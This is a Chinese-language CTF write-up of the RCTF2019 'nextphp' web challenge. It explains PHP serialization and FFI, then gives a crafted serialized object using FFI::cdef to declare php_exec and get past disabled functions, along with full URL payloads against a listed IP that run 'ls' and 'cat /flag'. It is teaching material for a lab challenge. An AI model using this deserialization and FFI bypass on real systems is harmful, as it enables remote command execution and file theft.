关于序列化与FFI的一道题

序列化与FFI(Foreign Function Interface)

做了一道关于序列化与FFI的web题,在这里记录一下。
题是RCTF2019nextphp
关于序列化与FFI的一道题_第1张图片
题目信息非常简单,我们先随意传一个参数看看。
在这里插入图片描述
在错误信息中,我们发现了一个目录,但是我们不清楚哪些函数可以用,我们查看一下phpinfo
关于序列化与FFI的一道题_第2张图片
许多系统函数被禁用了,但是scandir没有被禁用。
关于序列化与FFI的一道题_第3张图片
这里有一个有用的信息,“preload.php”,所以我们尝试打开它。
关于序列化与FFI的一道题_第4张图片

这里可以发现serialize,是序列化。
什么是序列化?

  • 序列化就是把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式。

什么是反序列化?

  • 顾名思义,它是序列化的逆过程,把序列化的数据,转换成我们需要的格式。

我们生成一个对象进行测试。


final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize() {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize () {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        
    }

    public function __construct () {
        
    }
}
$a = new A();
$b =serialize($a);
echo $b;
C:1:"A":61:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";s:1:"1";}}

将结果传参。

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:61:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:7:%22print_r%22;s:3:%22arg%22;s:1:%221%22;}}%27)-%3E__get(%22ret%22));

在这里插入图片描述
打印出来是1bool(true)
但这道题因为函数禁用的关系,需要用到FFI接口
什么是FFI

  • FFI是php7.4的全新拓展方式,就是在php代码中调用C代码的技术,可以让我们很轻易的调用C写的各种库;

将程序改写如下


final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int php_exec(int type,char* cmd);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize() {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize () {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        
    }

    public function __construct () {
       
    }
}
$a = new A();
$b=serialize($a);
echo $b;
?>

运行结果

C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int php_exec(int type,char* cmd);";}}

传参带入。

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%27));

在这里插入图片描述
继续查找,在根目录发现了这个

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%20/%27));

在这里插入图片描述

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27cat%20/flag%27));

最终得到flag
在这里插入图片描述

你可能感兴趣的:(Web,php,web)